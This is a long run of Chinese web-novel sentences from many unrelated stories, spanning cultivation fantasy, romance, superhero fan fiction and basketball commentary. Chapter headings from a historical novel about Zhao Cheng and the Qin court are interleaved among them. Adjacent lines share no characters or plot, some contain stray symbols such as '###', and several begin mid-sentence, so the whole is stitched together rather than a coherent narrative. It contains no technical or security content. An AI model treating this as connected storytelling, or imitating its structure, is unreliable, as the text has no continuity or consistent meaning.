海魔对于自身的本领相当有信心在他看来,普通的兵器绝对不会给自己的钢叉造成任何影响,可是当自己手中的武器和对方手中的斧头相互撞击的一瞬间情况发生改变。
“嘿!兹拉坦,放开我!”凯泽尔承受不住伊布拉希莫维奇庞大的身躯,不住地抗议着。
朱厚煌做了很多的准备,为了让将士们驱寒,他派出成建制的部队,披着蓑衣,去砍柴。
所以,真正决战时,能够守好阵势,利用地利,一定能反败为胜。“这一番话开始点燃信心了。
不自觉,扬益的眼泪夺眶而出,留恋着看着眼前的一切,他浑身颤抖着走到虚幻法阵眩窗前,伸出颤抖的手遥遥的抚摸着这个记载了自己幼时所有一切记忆的地方。
战晨仿佛感觉自己又回到了后燕国金象宗之上,越往山巅,天灵气变得愈发浓郁,竟形成灵雾缭绕在众人周围,使人在呼吸间就感到神清气爽,力量无穷。
“怎么个说法?”项少凡问道,现在是好不容易找到了一点关于世界之树的消息,那么他是肯定不会放过的。
\t薛麟玉稍稍皱了一下眉,她这话里可是透出了浓浓的醋意,也可以说是……恨意?
“原来史籍上记载的以气驭针竟然是真的。我一直还以为只是一个传说呢。呵呵,老范,看来咱两真的只学了中医的一点皮『mao逸笑呵呵的说道。也许是放下了包袱,他此时心里真的很轻松。
也许是一场生死大战,也许是一次静修,甚至是生活过程中地一丝灵光闪现,他就能够成就地阶剑意,到那时,他的实力又会有一次极大的飞跃,而且他有一种预感,这一天不会等太长,就近在咫尺。
禁刀仇家、禁弓劫家、禁盾规家、禁法明家,在劫路他们所在的那个位面之中,是四个最强悍的家族。
稍后片刻,左奉宸卫与讲武院的人成为第一批宾客提早来了,有夫人的还都带着自家的夫人同来。他们提前来,也有搭个帮手的意思。可是到场一看,太平公主派了这么多人来,哪里还用得着他们帮忙?
“你倒是,说不说?!”太平公主很是羞愤,一伸手就掐住了薛绍的腰间软肉。
第一卷 第43章 定局收官,夜袭犨城
两军对冲,双方将领都是带头冲锋,对撞之下,有项氏之虎称号的项佗竟然一触即溃!
这景象落在楚军之中,有若晴天霹雳!
项佗从来身先士卒,一往无前,锐不可当。
如今一戟之下,竟被那金甲小将吓得狼狈窜逃,惶惶有若丧家之犬。
谢灵芸好笑的看着他,宠溺的任由他拉着自己的衣袖往中间走去。
“延陵,你等着看,我迟早要让这款聊天工具走向全世界。“唐静芸慢声道,声音不大,但是却有着难掩的野心。
尸王长舒口气,轻声道“你冷漠的让我多少次渴望用这双手将你撕裂成碎片。”尸王说着,略顿,却不给幽幽回答的机会,尸王或许知道幽幽的回复会是什么,又或者知道幽幽,未必会有回应。
德家并不是在城内,而是在城外数里的地方。德家在一处山脚之下,盖着一幢庄院。秋玄老远就看见了德家庄园,没有想到这个德家这么大,一眼望去,差不多山脚下的半个山林都是德家的庄园。
“听朱道友的口气,这遗迹之中,似乎有不少宝物,那么为何贵店却要请我们几个前去探寻呢?若是独吞岂不是更好?”一人冷冷说道,李辉看过去,发现正是那与红衣胖子交换的灰衣人。
徐俊英问明大奶都带着些什么人跟随,垂眸沉默了一下,让宝驹先带着太医去秦府,自己和随从们走捷径便道,穿街过巷,赶到一个十字街口,刚好看见媚娘的马车迎面而来。
于是,大权旁落,自然是引得劳伦斯家族嫡支和分支争夺权力。按说达里尔本该是最有优势的,可是谁让他在此之前正好犯蠢呢?而且,还被人曝出了和男人有暧昧的大尺度照片,这下子更是引得争斗。
他的声音一落,精瘦汉子急道:“还有那么远呢,我肚子饿了,便在这里用餐吧。”一双三角眼四下搜寻着,莫非,他与盗贼们约好的地方便是这里?
个地步地人。对生死已经有了不同地认识了以要担心什么!”四十班禅笑呵呵地说道。
到底是他们想得太多,还是想得还不够多?这整件事的背后,到底是一个什么样的计划呢?
刹那间,牧风的气势发生惊变,浩瀚恐怖的剑意漫天铺盖,剑影映照天地,剑主杀伐,虽然目标是林凡,但是散发出来的杀伐之意,却让所有人都感觉心寒。
感受到那只擎天手印蕴含着无与伦比的恐怖能量,狂虎脸色也只是微微一变,连忙操控灵魂力量,周身瞬间凝聚成一道强盛的白光。
“主人去哪,蛙蛙就去哪,蛙蛙最舍不得离开主人了。”青蛙泪流满面。
凌志远听后,轻点了一下头,将头轻轻倚靠在车后座上缓缓闭上了眼睛。
“没错。”陈青阳强忍着怒意点了点头,眼神略微疑惑地看着穆沙,不明白他为何会知道自己的名字。
。王鹏三人正准备走出去自己暴露,还没来得及出声,就听到那银甲男子又道。
还不等姜云收回神识,它那庞大的脑袋赫然已经来到了姜云的面前,并且,张开了那张大的可以吞天的嘴巴。
直接大袖一挥,一道巨大的磨盘出现在天空,如若银河黑洞一般,散发出极其强大的吞噬之力,那无数道念头刚刚起飞,还未走远,便统统被吸了过来,被磨盘碾压成渣滓,烟消云散。
第一卷 第44章 糟了,这真是个万人敌!
“……此局有几个关键,首先是项佗一部,军风向来勇烈,又不知道我军能够这么快拿下叶县,迫切夹击我军。
苏子佑看着自家妹妹调皮的模样,看着她脸上的喜悦,只好顺着她继续说下去,脸上的神情也变得有点害怕中带着一丝戏虐。
“不急,你先忙你的,我们在这里等会。”陈峰带着晨晨在幼儿园里逛了起来。
这是一种无法想象的恐怖威能,像是有一个绝世魔渊被打开了,吞噬整片天地。
“怎么啦?汐汐。” 肖安听到苏汐颜喊他,眼睛马上亮了起来。
“没、没有那么回事,我、我、我不知道是谁,我不知道,你们别问我了。”苏子沐看着自家大哥看着自己的神色很不好,但是自己又不敢说实话,可是说假话的话,那么被自家哥哥们知道了事情的真相,那么自己更加完蛋。
尽管江暮山的话,让他心里很感动,也有很深的触动,可是……这些从不是他想要的。
许是餐馆生意不好,才关门了吧,叶萱一度想要换别家,但她爸却让她多等等。
第二天一早,天还没亮,孟心荷就早早地起了床,等听到隔壁靳薇萝的卧室传出声响时,她赶紧跟半睡半醒的染染嘱咐了几句话,随后走出房间装作忙活家务的样子。
她想的很清楚,白双喜和张恒是朋友,如果自己和白双喜在一起了,那么,迟早能和他建立友谊。
“听说这儿三年前吊死了一个男生。”这时苏子佑靠在一边的树上轻描淡写的来了这一句。
叶狂就纳闷了,在这冰天雪地中,为何会有这样一座城市存在呢,还是说这里在很久之前不是冰天雪地,是这座城的人被击杀的瞬间被冰封的,这才有了这片冰天雪地?
正看到八月长安在那里看电视,这妮子在沙发上窝着腿,整个身体流紫蝶出动人的曲线,手里拿着遥控板,认真在盯着那大屏幕。
货车被他双手推着,传出刹的一声刺耳尖响,停顿在原地,而四个车轱辘却在地面疯狂旋转,由于推力与阻力太大,整个货车都飘起来了,地面摩擦起亮晃晃的火花。
龙腾听罢,惊诧异常。那日在白日门中,他见过二人的身手,自忖已经武功虽高,但是对上燕萧二人的话,绝不至于似老猫戏耍耗子那般轻松。一时间又对封娇娘的俱意添了一道。
踏着拖鞋一边活动着颈脖,一边朝大殿屋走去。还没到大殿屋,一阵野生朱果的浓郁清香扑面而来。
叶狂脸色苍白,气息微弱,体内真气游历,被紫霄剑派弟子丢在地上,无力的躺在地上,连爬起来的力气都没有。
他们迅速与血族元老形成了包围之势,试图用人海战术化解叶流殇的强悍。
弱水灌注到这地狱山来,任何“道法”都会被禁锢,鬼道同样是道,他们这些阎君,将寸步难行,唯有没有道基的魂魄,才能在弱水上飘荡。
那元神一时之间无法将叶狂灵魂力量全部吞噬,也有点着急,开始去争夺叶狂肉身的控制权,想彻底控制叶狂。
第一卷 第45章 夜观天象,杀星入脉
早在来的路上,赵诚已经率领三千突骑奇袭沿途烽火台,并留派守兵,卡着时间点燃放捷报烽火。
在他踏入城门之际,身后远处,三千突骑精锐在黑暗中静默无声,如同覆盖着死亡斗篷的黑色洪流,静静沉寂在深夜里面。
“你恨过吗?”莫尊声音很轻,若非室内静谧无声,很难听得清他的问话。
周安微笑看着张顺然走入空地中,向自己走近,他又向自己身后一招手,无血剑与海崖剑同时飞起来,激射向周安。
“我刚才不是说过,先把他揍一顿再说吗?你们还傻愣着干什么?”卡拉斯科:“……”一阵尘土飞扬,鼻青脸肿的卡拉斯科被再次扔到了黄飞的面前。
砰的一声,云梦的神魂,那头拳头大的血兽直接爆碎,成为光雨,而后熄灭,他也显示出他的本体,凤凰头颅、狮子身,满身的倒刺。
听到赵恒的话,这些本来还准备发一些牢骚的那些朝臣,心中暗自一惊,看来赵恒已经决定用强硬的手段解决此事了。
虽说气温已经步入了三月份,可寒冷丝毫不亚于曾经的寒冬腊月。
“没错,救纳尹姑娘必须速战速决,眼下只得偷袭硬抢。”秦天赐认真道。
李广山与袁胜师都对妙严法师见礼,李广山也是要自称晚辈的,妙严法师年纪太大太大,辈分太高。
四周屋檐上的兵将不断开弓射箭,周安在这院落周围布置的不是一百人,而是两百多人,因为拉弓需要时间,所以他们是被分成两拨,交替开弓,如此才能使箭矢源源不断的射入院中。
在这片不允许使用非人力以外动力的海域上,人在浮冰上拉着船,船在间隙的海面上载着人,却已经是一种很常见的场景了。
“能和你在一起,我什么都不怕。”黄芸转身看着他,一脸温柔地说道。
视频里面,忽然出现了一只看起来很诡异的带着尸癍的手,将刘子鑫的面罩拿了下来,露出了今天为了参加宴会而打扮精致的刘子鑫。
至于那人参,在后面的山上长了那么就都没有人挖出来,这孩子一来就挖了出来,那就证明这人参跟这孩子有缘,就算是换了别的人,还不一定能够挖出来呢!所以老村长支持周泽楷的任何意思。
东张西望一圈啥都没看见,顾檩感受着自己脑海里的提示,也不多想。
但阙舟知道,现在苍德宣正坐在车子里面,把外面的情况给看的清清楚楚,包括阙舟实名举报。
“素姑娘,那个陷害干将的一夕与阴月皇朝的第一代圣君一夕有什么关系?”七夜忽然问道。
阙舟面色一变,她刚要说话,邪肆的少年恢复了正常,他将七皇子腰间的佩剑抽出来,而后送入了七皇子的心口中。
她的语气中带着责怪,这让居淮的理智又打败了为数不多的感性。
见石慧应允,敖广即可让人准备,请了尚未离开的宾客见证,敖丙行了拜师礼。
自入冬后,石慧这副苍老的身体便以及开始衰败。当然这也是石慧没有费心思去制止的缘故,她总要离开的,生老病死岂非比猝死更容易令人接受。
虽然理论上说,只要我们抱团,的确是可以保证我们暂时的安全,可是在实际上,这事情却很难做到。
第一卷 第46章 阳城军报,顿弱的惊天猜想
清晨时分,阳城县外,一辆马车缓缓驶入县城之中。
“王大人不必多礼,不知道大人突然来见本宫,可有什么事情?”夜晚端坐其上,神态安详,不管什么时候都不能乱。
君千汐跟端木冥两人不知道传送了多久,因为心底的焦急,他们只有度日如年的感觉。
吃饱之后,也许是喝的药产生了副作用,她又开始犯困,爬到床上就睡。
巧秀和昊阳见他真得无处可去,便生出怜悯之心,收留他到府中做些杂事。
也许这种想法有些太过于自恋,但是这样真的让他有种很幸福的感觉。
身上的手机已经响了很久了,可是楷楷没有去接,他知道此刻大家都在忙着找他,他也知道自己该接通电话,告诉他们地址,让他们来找,可是他就是固执的不想。
有这样的机会,无疑是让她抓住了救命稻草,为了不被饿死,她自然留在了他身边,她也知道了他的名字------魏明桀。
夏天的神魂之力虽还算充足,但,想要支持这种漫天太阴神水的场面,却不是那么容易的。
我犹豫了一下,觉得没什么关系,便把项链从衣领里拿出,‘露’出那枚闪闪发亮的戒指。
白慕辰暗自摇了摇头,接过竹筷,下一个就是他了。凤之沐对其他人都装模作样,可是对着白慕辰却吐了吐舌头,眨巴了一下自己圆溜溜的眼睛,一副奸计得逞的样子。
“琅少能猜出是什么茶庄的吗?”吉四爷笑问道,眯起眼睛,像头老狐狸。
次元戒内的命运之刃,此时正散发着阵阵金光,而这金光现在却逐渐消失,取而代之的微弱的白芒,原本一直散发金色光芒的命运之刃,现在已经变的普通至极,就好象人类世界中的短刀一样。
剧烈的撞击,让陈雨舒的###猛然变得无比高昂,但是紧接着陈雨舒一口啃在太白的肩膀上,高昂的###变成了低低的呜咽。
柳氏冷笑,“不该是吧?那收地瓜那几天,吃没吃饭?”最近这个二儿子有点过分,好吃懒做的,还喜欢攀比,连秀瑶和扬扬都不放过,因为家里事多闹挺,她不想多说希望儿子能自己注意点。
胡氏在这里,有些话还是不能随便说的,谁知道陆兆安会不会透过蛛丝马迹就知道她们已经发现了他的恶行呢?
葛侬函看到他们这一帮子人扛着两个大花觚过来也很好奇,简单问了问,才知道萧遥买了两个明宣德的五彩青花大花觚。
但是不知道为什么,太白总感觉这个阮连发看向他的目光有些躲闪。
王磊好几次都红了眼睛,要不是太白拉着,恐怕王磊他们整个篮球队早跟学生会干起来。
白阳炫眯起眼睛道,北方的大风吹乱他的头发,如标枪般伫立在碑下的他别有一股浩然正气。
其实齐磊的酒量,原本在半斤以上。但是这几天心力交瘁,吃不好睡不好,又悲伤过度,所以遇酒即醉。
随着第一道金光消散,如同起了多米诺骨牌效应,整个大阵顷刻崩塌,整片金光哀鸣几声消失殆尽。
第一卷 第47章 张余怒骂嬴政,吓坏的顿弱
怀阳村。
里正张余蹲在田垄前,看着眼前逐渐成形的大宅,脸上都笑出了花来。
“嘿嘿,嘿嘿嘿嘿……”
温璃失笑,这叫什么事?给了钱又怎么样?她又不是自己想来的。
千手龙村批改完了宇智波富岳的试卷,然后忍不住地摇头叹息,一脸遗憾的表情。
他这样的情况,已经不适合领导一个国家了。他自己也感觉到,随着他的精神状况恶化,做出的决策也多了很多失误,而这些失误都是在他情绪失控的情况下做出的。因此,他决定不活了。
“警报!警报!发现位置空间波动……”复仇者基地内,防御措施被激活,贾维斯发出的声音惊醒了正在睡觉的复仇者们,当然还有熬夜设计战甲的托尼斯塔克。
既然简要等,沙维格博士和黛茜就只好奉陪。刘青竹就没有陪着的义务了,和菲尔等人一起撤走。
敖萱一时间被余昆绕的有点迷糊,不过既然余昆少见的愿意出手帮她,敖萱到底还是勉为其难的接受了。
在场的除了双方眷族成员和见证员之外,还有许多曾经光临过的顾客们。
“感觉怎么样?我是说你的毒素问题。”汉克皮姆拿起话筒,浩天周围闪烁的七彩光华让他不确定对方是否正常。
钓上来几条大鱼,夏月生把这边钓鱼的事情交给了手下,拎着水桶,朝温璃招手。
那些强大的纳米机器人,分工十分明确,他们消化吞噬并且不断的自我复制。等到数量足够的时候,又集在一起,为生产事业添砖加瓦。
“杜爵,你交一下校服费,全班都交了,刚才你不在,就剩你了。”班长过来提醒他。
实际上四哥找对了他的弱点,那就是国内没有关系网,实话说,叶凡就算想动用能力得到灵气,都不知道该去什么地方找,天源已经在网络上搜索过,一无所获。
一会一定要是在外面的普通位置吃饭,要是包厢,这次是真哭不起。
要知道,正常情况下,普通武者的修为要达到真元三重甚至是真元三重巅峰,才能凝聚出护体罡气。
若是浮云子看到这天赋血脉增生丹,恐怕拼了老命,也会拼到手吧。
想清楚之后,齐青蘅终于打开殿门,迎上了一直站在殿门外的兰嫔焦急的面庞。
见云衣恢复过来,青蘅唤了绿漪进来,吩咐她去换新的热茶水给云衣润润哭哑的喉咙。然后开始问云衣逃亡的经历和如今的情况。
欢喜原以为紫凤白与自己一样,因千年寂寞才会想接近明媚活泼、热情开朗的白如花,可是自己的脾气性子很温驯,与紫凤白不一样,那苏清铭之言,难道紫凤白在这些年之间已经磨去棱角适应了凡人的生活?
“这里不便久留,我就不送你们了。有新的进展,我一定会立即与你们联系!”李谨说。
当然如果叶凡提出一些比较过分的要求,她也会欣然答应,只不过叶凡没表示,她也不敢放肆。
只不过张健的双手里面是绿色的木属性之力,外面包裹着火属性之力,双手按在藤蔓上,没一会墨绿的藤蔓,变黄了几许,而腹部的木属性圆球似乎变大了些。
第一卷 第48章 名扬楚国,楚王夜不能寐!
“这#¥%%……”
虽然两者比较我也倾向她这意见,但直觉却告诉我今天的见面绝不会简单。
她怕自己明明用的是自己的东西,可被周记老板娘误以为她偷占了她便宜,到时跳到黄河都说不清了,现在她的租住地离这个店又不是很远,做好了提过来不算很麻烦。
顾不得埋伏的计划暴露,他利喝出声,喊出口的声音由于紧绷的颈部肌肉变得有些变形失真。
看的出来她很想让我去,毕竟她不想让她妈妈失望,可见我不配合,她又不想勉强。
而此刻风乾已经被关在了巫族村落的一个叫【阿莫斯地牢】的地方,这里以前是囚禁变异的巫族人士的,关的比较多的,还是修习尤拉巫咒的人。
“慕辰,接下来你怎么做的?原身会不会怀疑自己被鬼附身了?”“我把一些数据传送到她脑中了,包括你所做的一切还有她将来的结局。
自语得到了回应,郑鸣心神巨震,它连忙转身四顾,却没有发现任何端倪。
“怕,可就算如此,我也要这么去做,因为我不允许任何人背叛,记住,是任何人,所以这次我无论花多大代价也会要她的命,希望你能给我这个面子!”周阳再次点头,不过语气却有了翻天覆地的变化。
白鼠在院内的药田里撅药根,蟋蟀长鸣,嘈杂声内倒显得更加万籁俱寂。
他们的年岁比少年也大不了几岁,可一路走来,有意无意地,他们俱是将少年护在了中间,就连那校尉,也是如此做的。
“咔嚓”一声脆响,虚体诡异回过神来,发现江炎已经打开了第一个绿色宝箱,随手将里面的几百冥币、两件武器和一个技能卷轴揣进了自己系统空间里。
黄师长对顾野家里也比较清楚,虽然父母都是普通农民,但是成分干净,祖上三代都很干净,顾野也是个很不错的后辈。
刚出生的孩子基本大多数时间都在睡,所以他们说今天是在照顾孩子,其实更多的是照顾沈稚柚。
一道惊天伟力突然自混沌潮汐中暴起,他连人带脚已是彻底消失得无影无踪。
他接触了太多太多,远的有东荒北境被云剑生封印的那个神将,以及后来降临的吡罗神王,近的,有半步不朽的神帝,以及无法无天这两位古老神君。
本来猎诡局计划,将禁忌006从古玩街中引诱出来,直接在此处启动大型陷阱,而后百余名猎人一拥而上,拼着大量的牺牲,也一定要将禁忌006封印进入那沉重的黄金棺椁之中。
琴箫之声悠悠传来,汗王循声望去,发现林中有座竹林掩映的木屋。
虚白已经完全压制住了志波海燕,恐怕要不了多久就能取他性命了。
别墅周围环绕着一圈木制篱笆,李之恩精心在篱笆上摆满了娇艳盛开的花朵和翠绿欲滴的藤蔓。
她的声音渐低,目光不自觉地飘向窗外,似是在寻找某个身影,脸上洋溢着幸福的红晕。
第一卷 第49章 遍邀豪侠杀之,赵诚将星入脉
而在所有人中,有一人却始终平静如水,那就是紧随吕纬左右的方毅。他低眉敛目面带微笑的迎接着嵘南的铁骑如滔天巨浪席卷入城。一直未见波澜的瞳仁,却在貌似不经意的一瞥后悄悄起了变化。
此时,锻造场的师傅们都纷纷出来了,列队在侧,脸上抑制不住地兴奋,似乎今日有什么让他们高兴的事。
“我想知道你恨他的理由是什么?他在商场上得罪过你,所以你要报复他?”芊芊忍不住猜测,却惹来安知尧的轻笑。
趁她兀自沉思的时候,阮裴悄悄拉了萧然的手,展开身法无声无息地离开了。
芊芊从来都没有想过两人还有这样温馨而又浪漫的场面,他的情话在耳畔一直回响,他的柔情划过她的心房,这一切的一切都像一场梦一样,让她宁愿沉醉也不愿醒来。
正是这种性格,才让他们走近,超越性别,超越背景,成为最好的朋友。
大家以为会看到一个羞愧或恼羞成怒的叶晓雾,但谁都没料到,她居然笑了,还笑的神秘兮兮的。
让柳木没想到的是,罗马人也害怕弩,害怕弩带来的强大杀伤力。
如果可以,他想一出生就陪伴在她身边,照顾她,保护她,不让她受一点伤害。
“师妹,你刚说你有苦衷,不知是什么苦衷呀。”无方子想到自己师妹并非残忍之人,可是却这么多年寻找九变魔珠,肯定是为了什么大事,否则师妹一定不会这样做的。
看着朱由榔一副关爱之色,吕大器总感到自己被骗了,不过事已至此,吕大器也甘愿被骗了,当吕大器走了之后,朱由榔脸色渐渐冷了下来。
“等你的积分够买位面旅游劵了,你可以来这里玩呀。”林兮说道。
车队按照规划的路线走的很顺,只是走着走着,最前面的头车,也就是那辆拉风的越野车就不走直线了。
罢了罢了,我为何要追究那么多,反正说不定也只是个梦而已。我从床上爬起身,谁知道忽而听到外面有一声开门声,吓得我静静坐在床上不敢喘气。
我不知道这些是谁和他说的,但是他现在对我抱有极大的恶意,我就算再怎么解释,也解释不清。就在我离开桑拿房的同时,好像有另一抹身影进了桑拿房,只是余光之中瞥到,也没看清是谁。
江哲昔将洛清心更圈紧了一分,鼻尖能嗅到她发丝上熏染了玫瑰花瓣的香气,唇边弯起好看的弧度,与洛清心同样看着远处的晚霞。
霍云泽知道叶浅晚上跟乔时宇一起去见华楹,但十点应该是结束了的,可他给叶浅打电话,叶浅的手机却是关机的。
对于这些,朱由榔也打算一一调整,思考片刻后,朱由榔已经有了决定。
他先给霍北城回了电话过去,讲了不过两三分钟,再给林伍回电话,又讲了两三分钟。
章云珊见郑少琼又缠了上来,十分的无奈又有些不知所措,周围这么多人看着呢,最近这半年来真的是不堪其扰。
而且这个王者还这样问自己,说明这个东西还是能够进入王者的眼界之中的!王者的实力既然是勿容置疑的,所以现在这个家伙看对了自己的道具,就充分的证明了,自己的道具是真的具有极强的作用的。
不管这两个家伙的打闹,林峰心中却是思量起来,总理要见他了,他该说些什么好呢?还有,他真的应该提出那些要求吗?
“来吧,只要你好好的伺候好哥哥,就算将来哥哥娶了嫂子,也会疼你的!”朱立笑的更加猥琐了,伸手向着澹台明月抓了过去。
“眉儿你放心,今天是那丫头走运,若不是半路杀出个程咬金。只怕这会其已经被控制起来了。不过眉儿,老夫向你保证,一定不会出现下一次了!”白须老者嘴上这么说着,随即便强行吻了一下怀中的美人。
“吃过一次!”麻星曜说道,他也不能够无视这咖啡的来源问题,只是实在想不明白某些问题,为什么麝香猫能够产出这样的咖啡来。
“切!第一次就失败!”路飞扬不屑的哼了一声,躲开了对手的大刀,身形晃动,拐杖砸向对手的肩膀。
贺子俊紧紧的抱着她,她的脸贴在他的‘胸’口,听着他的心跳,让她觉得既安心,又仿佛有些不安。
如果有人问,全人界最不好招惹的人是谁,姬炫一定会把魔都那位列为头顶麻烦人物。
于是,林西凡大喝一声,身体再一次的凌空翻身,用后背狠狠的往下压去,这样一来那秋木麻衣就无所遁形了,因为她也不可能绕到前面来。
“哈哈,其实呢,我只是失去了掌控世界的能力,但是其他的能力的话,我还是有的,长生不死,战斗力,这些都是存在的!”老者跟着哈哈说道,同时身体亮了起来,跟着一个金色的牌子飞了出来。
“阿耶,谁那么大胆子,惹怒你啦?”李嗣直忽闪着灵动的大眼睛道。
沈严刚想回答,就在这时电话响了,是留守警局的秦凯打过来的。
“怎么样礼源?要不你再代表我们去慰问一下人家姑娘?”沈严笑着开口。
第一卷 第50章 嬴政溯探赵诚事,一纸生平映君心
叮!
一声脆响,大戟卷刃处顿时出现了一个指甲大小的缺口。
断口平滑,犹如被刀刃切割过的豆腐。
赵诚甚至都没有用力,这精铸大戟就已经破损了一小块。
“嘶……”
“我的大戟!”
临走时那嫉妒恶毒的目光,只顾着秀恩爱的某对夫妻并没有看到。
好吧那就是扯淡,说实话,商朝君主的名字一般都跟天干有关,这时候还没有儿子随爹姓的习惯,因此大家都是个姓个的,什么甲、乙、丙、丁、戊、己、庚、辛、壬、癸,所以到了商纣王的时候姓名就叫做帝辛。
突然灯光亮了起来,暗门的人不愧是训练有素,立马就散开隐藏了起来,只留下陆少倾和向阳暴露在了灯光下。
陆安然想秦泽应该是真的累了,为了秦伯父,为了周月,还有她和孩子们的事情,辛苦他了。
贺妍朵和陆幽舞在权宇恒的婚礼上见过一面,没想到会在这里又碰上。
此言令令孙悟空呆愣当场,眼神迷离,仿佛又回到了几千年前一般。
杜士奇虽不是个合格的父亲,却绝对是个孝顺的儿子,听了杜老夫人的话,也不敢再多说什么,应了是,又意有所指的看了杜意婉一眼,方才转身出去了。
突然,一名青年看到了形迹可疑的茅弟,急忙招呼同伴怒冲冲地来到茅弟面前,将茅弟围了起来。
“这个地方有这么大的能量的,也就只有江家了,又句话说的好,强龙压不过地头蛇,这次的事情,不就就是这样子吗?”朱彦看着在那边思考的清和说。
“你居然说我丑,我可是苍穹之上容颜最高的苍穹之王。你给我滚,我不需要你救了”囚羽听他说自己丑,心里非常不高兴。
以前是对未来不可知,仙道只是推演出来的传说,可现在,陆川的出手,这一种神鬼莫测的神通,仿佛就是一个方向,是他们努力要到达的境界。
少顷,屋内传出了碗筷碰撞的声音。屋外,两个士兵都在侧耳细听,却再没有听到什么。
当然了,无论玩得怎么疯,星尘始终保持着灵台的清明,脸上虽是笑容灿烂,但实则也是保持着高度的警惕,谁都不能保证,在这些人当中,会不会有狼夜寨的人。
他为此做的付出,只有他自己能知道,所以他也是很清楚孟凡他们究竟为此付出了多少,不经过血与火的洗礼,绝不可能办得到。
湖人开局很显然和接受采访时放狠话表现的不太一样,直接被太阳一顿组合拳给打蒙了,开场之后,斯塔德迈尔和理查德森相继得手,太阳以7-0开局。
“枫子,我可听说,不少人好些年培养出一头上好的耕牛,你这牛不是你养的,能行吗,不懂意思别尥蹶子。”我是穷b家湘西老山,家里耕牛,自己老头子养了多少年,使了多少年,牛脾气摸清楚,人牛配合才默契。
风信子勇往直前,在陨石内部捣起乱来,本来这种事情就是个体力活,更何况现在的状态让风信子在到达陨石的中心位置时进度明显缓慢了许多。
“你傻呀?我们神不知鬼不觉地掳走她,谁知道是谁干的?”另外一个当即便是反驳了一句,同时面露鄙夷之色。
第一卷 第51章 朕观捷报知子勇,相执簿书疑功虚
“臣察赵诚生平,呈大王陛下:
赵诚此人生而宿慧,幼而敏达。
帝天被轰飞,两只手臂差点斩落下来,而额头则是有着一个洞口,流淌着鲜血。而对方那喙,则是刺在了混沌玉玺上面,没有伤及神魂。不然神魂一旦被刺穿,就有可能被抹杀了。
“暗夜,剑狂来帮忙说得过去,这胖爷和仙人怎么回事儿?这次怎么转性了,我还是反应不过来。”刀神边杀着敌人边跟边儿上的暗夜聊了起来,现在众人的表情已经不像那会儿那么严肃了,稍轻松了一些。
庞大的剑气笼罩四野,牢牢地锁住我,这一剑下来,足以将大河之水斩得断流。
“都通知了,并且很多国家也都是在通道口安排的,已经安排好了。不过有些国家不太相信,只是将一半儿多的兵力放在了我们通知的地点儿,其他的玩家还是分散着!”萌萌开口对李风说道。
摩罗洪山一马当先,以霸王之势,凌空而至,瞬间碾压,空气之中都是出现一阵阵爆鸣之声,黑色穿云枪,刺破空气,直捣黄龙。
“我倒也想走,只是你不怕这视频里的内容会出现在电视上?”叶云拿着录像机在钱双贺眼前晃了晃。
一时之间洪水海啸便拍岸而起,冲垮了被种花之星千年以来积淀的所有人工建筑。
虽然叶建忠说要叶云陪他唠唠,其实一直是他在说,叶云就在旁边认真的听着,时不时的点头应上几句。
“这茶凉了,再喝就不好了,玉竹姑娘要不介意。不如留下在这里吃中午饭吧,我亲手下厨给姑娘做几道好菜”,立春将桌上的茶盏拿起,将微凉的茶水尽数倒入花草丛中。
轩辕杰的目光落向那雷霆神王宙斯宙斯消失的方向,脸色也是连连变幻。
因为孕吐有些严重,沐王妃现在只能依靠李惠专门腌制的酸梅来抑制孕吐,不过最近这几天连酸梅的效果也都不是多好了。
靠,他韩冬晨跟自己解释那么多,无非就是觉得没有错,没错还道毛歉,虚伪。
龙辰喉咙干渴,内心有着大恐惧,他一直认为刘旭是纨绔子弟,没有想到竟是强者化身。
不过根它们旁边的这一大块空地相比,这些种了树的地方明显是要好看很多。
方乾元若真到了这一步,自号御灵真仙,绝非往自己脸上贴金,冒用仙道名目,而是堂堂正正的复古。
只要这些地方不是凹陷下去的话,一般雨水都会顺着三色布流走的,不会积蓄在这里,而里面的空气只要保持湿润没有明水的话,红薯多数情况之下都不会坏掉。
方乾元发现,多多的通贸生意,果真是越做越大,只是月余功夫,又给自己赚得了近百万的灵玉。
“大漩涡,久闻其名,未曾见识,如今终于算是有机会一饱眼福!”方乾元淡笑道。
李惠把英子带到了自己的房间里面让她先坐下,然后自己从柜子里面取出来了一个一尺见方的布包,当她把布包打开了以后,英子的脸刷的一下子就变得通红起来。
第一卷 第52章 捷报频传却无信?秦王怅然意未舒
昌平君见王翦低着头也不看他,于是又看向廷尉李斯。
不过不管怎样,众人都没有太将袁泛海放在心上,虽然这一路上他展现的实力不错,但也顶多只是金丹大圆满罢了,放在平日里不错,但在如今这种情况下,根本没有自保之力。
身子似平常般立着,但仿佛泰山压顶般的感觉,呼吸都似乎停顿了下来,交代的越少,压力越大,没有要求反而是最严格的要求。
近看他一身月白项银细花纹底锦服,大片的莲花纹在白衣上若影若现,白皙的皮肤衬托着淡淡桃红色的嘴唇,俊美突出的五官,极致完美的脸型,柳眉下黑色眼睦更像滩浓得化不开的墨。
“想不到我的化身,会在这个时候暴露。”五行秘宫戒中的张志平脸上露出一个复杂的神色,隐隐的有些担忧和奋进,不知道太玄道人他们究竟掌握了自己的多少秘密。
“桂庭,那你以为眼下我们该如何应对?”郑洞国听完了杜聿明的话,看着标注好的东北野战军的行军路线,双眸闪烁着冷静的目光慢慢得由浑浊变得清明,郑洞国看向杜聿明道。
生命中纵然有欢乐,也只不过是过眼的烟云,只有悲伤才是永恒的。
“你来干什么,要是想打我主意,看我的星斩丸当不答应。”扎姆夏拔出自己手中的刀对着巴尔基星人威胁到。
还来不及防御,身上就多出了无数的伤口,有些甚至可见其中的白骨。
打了电话给邱斌告诉他杜鹃在市场上的设计公司两人该干嘛去干嘛,自己则驱车去了紫羽家纺。
旅途中偶遇的两人其实往往是很好的倾诉对象,说完就走,各回各的城市,没有后遗症。
自己年轻时候的模样,自己采药的时候失足跌落悬崖,在修为有成之后才发现当年的失足居然是被自己的情哥哥给推下去的。
阿黄上车之后就发动车子继续前行,不再去理会那青年,旁边的那些围观者也都纷纷散去。
在场的谁也没有想到刘天会突然间出手,不过此时在那楼上的苏玲却是知道,这是刘天容忍度已经达到了极限,如果不是这马桂吉触犯了刘天的底线的话,刘天也不会这突然间就出手的。
蝙蝠的习性是白天睡觉,晚上捕猎,刚刚进来的时候天色已经不早了,刚好又有人打扰了到,送上门的猎物哪有不吃的道理。
瞬间,不少的年轻人都开始眼前一亮,自然,也有一些整个表情都变得十分难看了起来。
走了一会之后,他们终于是来到了一个铁门前,刘天向四处看了看,还没有人追到这边,当下刘天就向着那锁头开了两枪,那铁门就已经被刘天给打开了。
